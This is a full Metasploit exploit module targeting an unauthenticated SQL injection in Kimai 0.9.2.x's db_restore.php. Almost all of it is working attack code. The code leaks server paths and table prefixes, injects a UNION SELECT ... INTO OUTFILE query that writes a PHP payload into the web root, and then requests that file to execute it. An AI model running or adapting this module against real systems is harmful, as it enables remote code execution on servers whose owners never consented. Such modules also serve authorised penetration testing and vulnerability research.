Kimai v0.9.2 'db_restore.php' SQL Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",
        'Description' => %q{
          This module exploits a SQL injection vulnerability in Kimai version
          0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
          execute arbitrary SQL queries. This module writes a PHP payload to
          disk if the following conditions are met: The PHP configuration must
          have 'display_errors' enabled, Kimai must be configured to use a
          MySQL database running on localhost; and the MySQL user must have
          write permission to the Kimai 'temporary' directory.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'drone', # Discovery and PoC
          'bcoles' # Metasploit module
        ],
        'References' => [
          ['CVE', '2013-10033'],
          ['EDB', '25606'],
          ['OSVDB', '93547'],
        ],
        'Payload' => {
          'Space' => 8000, # HTTP POST
          'DisableNops' => true,
          'BadChars' => "\x00\x0a\x0d\x27"
        },
        'Arch' => ARCH_PHP,
        'Platform' => 'php',
        'Targets' => [
          # Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
          [ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-05-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),
        OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
        OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
      ]
    )
  end

  #
  # Checks if target is Kimai version 0.9.2.x
  #
  def check
    vprint_status("Checking version...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
    if not res
      vprint_error("Request timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
      version = "#{$1}"
      print_good("Found version: #{version}")
      if version >= "0.9.2" and version <= "0.9.2.1306"
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      end
    end
    return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'The target is not vulnerable')
  end

  def exploit
    # Get file system path
    print_status("Retrieving file system path...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
      path = "#{$1}"
      print_good("Found file system path: #{path}")
    else
      path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
      print_warning("Could not retrieve file system path. Assuming '#{path}'")
    end

    # Get MySQL table name prefix from temporary/logfile.txt
    print_status("Retrieving MySQL table name prefix...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
      table_prefix = "#{prefixes.flatten.last}"
      print_good("Found table name prefix: #{table_prefix}")
    else
      table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
      print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
    end

    # Create a backup ID
    print_status("Creating a backup to get a valid backup ID...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => {
        'submit' => 'create backup'
      }
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
      id = "#{backup_ids.flatten.last}"
      print_good("Found backup ID: #{id}")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
    end

    # Write PHP payload to disk using MySQL injection 'into outfile'
    fname = "#{rand_text_alphanumeric(rand(10) + 10)}.php"
    sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
    print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit' => 'recover',
        'dates[]' => sqli
      }.to_a.shuffle]
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.code == 200
      print_good("Payload sent successfully")
      register_files_for_cleanup(fname)
    else
      print_error("Sending payload failed. Received HTTP code: #{res.code}")
    end

    # Remove the backup
    print_status("Removing the backup...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit' => 'delete',
        'dates[]' => "#{id}"
      }.to_a.shuffle]
    })
    if not res
      print_warning("Request timed out")
    elsif res.code == 302 and res.body !~ /#{id}/
      vprint_good("Deleted backup with ID '#{id}'")
    else
      print_warning("Could not remove backup with ID '#{id}'")
    end

    # Execute payload
    print_status("Retrieving file '#{fname}'...")
    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
    }, 5)
  end
end